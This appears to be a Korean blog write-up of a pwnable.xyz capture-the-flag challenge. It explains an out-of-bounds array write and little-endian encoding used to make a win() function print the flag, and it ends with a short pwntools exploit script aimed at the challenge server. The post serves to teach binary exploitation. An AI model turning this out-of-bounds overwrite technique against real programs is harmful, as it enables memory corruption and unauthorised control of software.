문제 풀이 환경 : ubuntu 18.04 |
리틀엔디안에 대해 더 상기시켰던 계기가 되었다.
주어진 파일은 문제 파일 바이너리
Analysis
mitigation
execution
앞에서 풀었던 문제랑 비슷한 느낌이다.
code
입력은 숫자 3개를 받는데, 마지막 입력이 idx이다. -7 ~ 9 사이밖에 입력을 못한다. 그래서 내가 그냥 실행해서 33이라는 수를 주니까 그냥 종료됐었다.
노란색 박스를 보면.. 첫번째 입력과 두번째 입력을 더해서 v5[8*idx+48]에 넣는다.
win() 함수는 flag를 열어주는 함수인데, 최종적으로 저 함수를 실행시키면 flag를 얻을 수 있다. 저 함수를 실행시키기 위해서는 v5[7]이 0xB000000B5의 값을 가져야 한다.
최종적으로 저 deadbeef를 b0000000b5로 바꿔야 한다!
Exploit Scenario
Summary
- v5[0]에 0xB500000000000000 입력
- v5[8]에 0x0B000000 입력
참고로 C언어에서 char는 1바이트이다.
그리고 컴퓨터는 16진수 데이터를 리틀엔디안으로 저장한다.
16진수를 10진수로 바꿔서 입력을 해주었다.
Exploit Code
from pwn import *
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30003)
e = ELF('./challenge')
p.sendline('-5404319552844595200 0 -6')
p.sendline('184549376 0 -5')
p.interactive()
'WAR GAME > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] xor 풀이 (64bit, OOB, call) (0) | 2021.05.05 |
---|---|
[pwnable.xyz] GrownUp 풀이 (64bit, fsb, strcpy) (0) | 2021.05.04 |
[pwnable.xyz] add 풀이 (64bit, OOB) (11) | 2021.04.30 |
[pwnable.xyz] sub 풀이 (64bit, 정수놀이) (0) | 2021.04.30 |
[pwnable.xyz] welcome 풀이 (64bit, malloc) (0) | 2021.04.30 |